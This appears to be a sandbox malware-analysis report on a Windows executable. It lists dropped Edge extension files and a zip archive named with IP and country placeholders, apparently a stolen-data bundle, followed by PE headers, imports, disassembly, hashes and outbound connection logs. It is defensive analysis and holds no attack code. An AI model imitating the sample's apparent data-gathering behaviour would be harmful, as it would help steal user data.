Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1863518597\7f2b9e44-cd37-44e8-ac6d-1c08b34ff723.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1863518597\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1863518597\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1863518597\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1863518597\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\[Unknown IP][Unknown CC]17-35-36-21-11-24.zip

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	10767
Entropy (8bit):	7.963139521122275
Encrypted:	false
SSDEEP:	192:vtcOlO8YIimwXA/YSxwNSnjy9leJBUGVmWnhXB4eqjAsyCRqlIQ02mqbB:1m1IipX/SxwNGjyWnhXB4eqjApCsI52j
MD5:	A84B7783D8758EF43CD00A2BA2A8FFFC
SHA1:	7CE39F98AB48780867DD77EE1D58F038DB28BDEE
SHA-256:	4C1D0F307AD4D316C205C1A0AD53179AF6CF05EE8C512289620CD919E44D2C89
SHA-512:	E0A98E7604CF507A864117F38A9E820FA30AEAF52E163DD7441EE8E99620924A6EFE0B31F38841B8A0BD5E04053C03C5BA51072728B5836549B20D4BA87A8106
Malicious:	false
Preview:	PK........(.uY....(...M......Info.txt.}ys.8....Q.....S.c. .^....i.ekL.]o..%..+.........I........"..e&..H.0....{M.`.:.}...,.....A?.?..(@.=....%.8N.C$......!Q9.:._.(>]...F...Qp.tE..4.e.38D?tbi..Z.m.S..b..l.... ...f.^!q6..`?z@.D..:...s.D.zI.....".}...I8. Q.T...._q...6..........."....>.:.....8..0L.....t....d..i.t\|...M..~6I.......+K'T.N..a.C.A0<DOR...;U..b..s.....5..>.W..kD'....'D......%{....i..t...4..:Q.....EV.._.._..z.HQ0F...}....o..e..{...}.W.....8y=D......n..x...7....[.EP=r.!.!...&i0.C.L$....G..a. .uxS\|.v........$..<.^.I......d.l$`...<D.q...I4...L.....$t........D.l....\|......C>..S&..a..a...4.5fJ..$N....%..1.......yOo2f~.i.....G...Ln_.../v.?Tz......D.....!/......S=.\|.T....t....t<._....C.-.$.g!.M..E..1@3.L?...1......#7Nx. .P..Z..... ..C?cM.$\|.Q.}....t9.@+....+...O..~..Q.......... G.#.P8..(.....6..?...O.0.1.+.p..q............um.....4.S..M..I.....}%.......$A.v..l........w.M.BS........p..B.WM.(.1..P*M.B.....)..[a....y/......'./^.G.FfP.`.:..i.1

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.9965124587988745
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	13'960'143 bytes
MD5:	f74588fc6a3342296cbb881d87c17300
SHA1:	de5fccb795f1c2e639e3c48a1e333ac5ae2d45ea
SHA256:	8d9631d40e85203e942106de4530e9ae857849d6a5e38126f338a816b37d461c
SHA512:	6e10468170ea162ab5733b0d16a6f405afcbe22e1a183277c737bfc357ea98a13d55f9fdaf2457e1fe0f3a819f729c650df53b332643809450a5f0185f4292f2
SSDEEP:	393216:w9YiZ+XMCHWUjccuICvR/P0vKfXmsg8YiZdo:w9YiZ+XMb8JE/svKOudo
TLSH:	88E6330857E009DBD9F24438DEA7A569D5BAB8761B71C34F83B863611FA71C08D39A33
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n=..\.Z\.Z\.Za$.[-\.Za$.[.\.Za$.[ \.Z:..Z)\.Z:..[#\.Z:..[;\.Z:..[.\.Za$.[!\.Z\.Z.\.Zb..[3\.Zb..[+\.ZRich*\.Z........PE..d..

File Icon


Icon Hash:	1fba9a9a5d3b178e

Static PE Info

General

Entrypoint:	0x14000cdb0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F791A [Thu Nov 21 18:16:58 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	72c4e339b7af8ab1ed2eb3821c98713a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F430118A23Ch
dec eax
add esp, 28h
jmp 00007F4301189E5Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F430118A608h
test eax, eax
je 00007F430118A003h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F4301189FE7h
dec eax
cmp ecx, eax
je 00007F4301189FF6h
xor eax, eax
dec eax
cmpxchg dword ptr [0003577Ch], ecx
jne 00007F4301189FD0h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F4301189FD9h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F4301189FE9h
mov byte ptr [00035765h], 00000001h
call 00007F4301189735h
call 00007F430118AA20h
test al, al
jne 00007F4301189FE6h
xor al, al
jmp 00007F4301189FF6h
call 00007F430119753Fh
test al, al
jne 00007F4301189FEBh
xor ecx, ecx
call 00007F430118AA30h
jmp 00007F4301189FCCh
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0003572Ch], 00000000h
mov ebx, ecx
jne 00007F430118A049h
cmp ecx, 01h
jnbe 00007F430118A04Ch
call 00007F430118A57Eh
test eax, eax
je 00007F430118A00Ah
test ebx, ebx
jne 00007F430118A006h
dec eax
lea ecx, dword ptr [00035716h]
call 00007F4301197332h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ca5c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x2bb4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x44000	0x2250	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a000	0x764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a080	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f00	0x2a000	2a7ae207b6295492e9da088072661752	False	0.5514439174107143	data	6.487454925709845	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12a50	0x12c00	37792ce60144ba4bf48c77ad4995ca80	False	0.524453125	data	5.752609765590365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x53f8	0xe00	dba0caeecab624a0ccc0d577241601d1	False	0.134765625	data	1.8392217063172436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x44000	0x2250	0x2400	f5559f14427a02f0a5dbd0dd026cae54	False	0.470703125	data	5.291665041994019	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x2bb4	0x2c00	166f211e3c4b04fa6db08502bfa20c59	False	0.13947088068181818	data	3.8228486303254328	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4a000	0x764	0x800	816c68eeb419ee2c08656c31c06a0fff	False	0.5576171875	data	5.2809528666624175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x470e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m	0.08246887966804979
RT_GROUP_ICON	0x49690	0x14	data	1.15
RT_MANIFEST	0x496a4	0x50d	XML 1.0 document, ASCII text	0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 22:09:05.339519978 CET	49675	443	192.168.2.4	173.222.162.32
Nov 21, 2024 22:09:09.028690100 CET	49731	443	192.168.2.4	104.26.8.59
Nov 21, 2024 22:09:09.028738022 CET	443	49731	104.26.8.59	192.168.2.4
Nov 21, 2024 22:09:09.028806925 CET	49731	443	192.168.2.4	104.26.8.59
Nov 21, 2024 22:09:09.029525995 CET	49731	443	192.168.2.4	104.26.8.59
Nov 21, 2024 22:09:09.029540062 CET	443	49731	104.26.8.59	192.168.2.4
Nov 21, 2024 22:09:10.263516903 CET	443	49731	104.26.8.59	192.168.2.4
Nov 21, 2024 22:09:10.264796019 CET	49731	443	192.168.2.4	104.26.8.59
Nov 21, 2024 22:09:10.264832973 CET	443	49731	104.26.8.59	192.168.2.4
Nov 21, 2024 22:09:10.266941071 CET	443	49731	104.26.8.59	192.168.2.4
Nov 21, 2024 22:09:10.267039061 CET	49731	443	192.168.2.4	104.26.8.59
Nov 21, 2024 22:09:10.274594069 CET	49731	443	192.168.2.4	104.26.8.59
Nov 21, 2024 22:09:10.274760962 CET	49731	443	192.168.2.4	104.26.8.59
Nov 21, 2024 22:09:18.429548979 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:18.429600000 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:18.429686069 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:18.431478977 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:18.431518078 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:20.205080986 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:20.205197096 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:20.208410978 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:20.208441973 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:20.208940983 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:20.261421919 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:22.054245949 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:22.095339060 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:22.646802902 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:22.646873951 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:22.646893978 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:22.646913052 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:22.646953106 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:22.646955013 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:22.646955013 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:22.646971941 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:22.647042990 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:22.647094965 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:22.647094965 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:22.647121906 CET	49732	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:09:22.669121981 CET	443	49732	52.149.20.212	192.168.2.4
Nov 21, 2024 22:09:22.669197083 CET	49732	443	192.168.2.4	52.149.20.212
